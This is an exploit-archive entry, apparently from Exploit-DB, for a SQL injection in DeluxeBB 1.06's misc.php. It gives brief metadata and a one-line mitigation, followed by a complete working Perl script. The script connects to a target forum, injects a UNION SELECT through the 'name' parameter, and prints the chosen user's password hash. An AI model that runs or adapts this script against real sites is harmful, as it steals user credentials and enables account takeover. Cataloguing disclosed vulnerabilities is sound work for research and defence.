DeluxeBB 1.06 Remote SQL Injection Exploit

vendor:

DeluxeBB

by:

KingOfSka

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: DeluxeBB

Affected Version From: 1.06

Affected Version To: 1.06

Patch Exists: YES

Related CWE: N/A

CPE: a:deluxebb:deluxebb:1.06

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

DeluxeBB 1.06 Remote SQL Injection Exploit

DeluxeBB 1.06 is vulnerable to a remote SQL injection vulnerability. An attacker can exploit this vulnerability to gain access to the database and extract sensitive information such as user credentials. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'name' parameter of the 'misc.php' script.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.

Source

Exploit-DB raw data:

#!/usr/bin/perl

use IO::Socket;


print q{
#############################################
# DeluxeBB 1.06 Remote SQL Injection Exploit#
# 	exploit discovered and coded        #
#	   by KingOfSka                     #
#	http://contropotere.netsons.org	    #
#############################################
};

if (!$ARGV[2]) {

print q{ 
	Usage: perl dbbxpl.pl host /directory/ victim_userid 
  
       perl dbbxpl.pl www.somesite.com /forum/ 1


};

}


$server = $ARGV[0];
$dir    = $ARGV[1];
$user   = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid   = $ARGV[5];

print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>]    DIR: $dir\r\n";
print "[>] USERID: $user\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path  = $dir;
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid='".$user ;

 
print "[~] PREPARE TO CONNECT...\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";



print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{

 if ($answer =~/(\w{32})/)
{

  if ($1 ne 0) {
   print "Password Hash is: ".$1."\r\n";
print "--------------------------------------------------------------------------------------\r\n";

      }
exit();
}

}
print "------------------------------------------------------------------------------------------------\r\n";

# milw0rm.com [2006-05-15]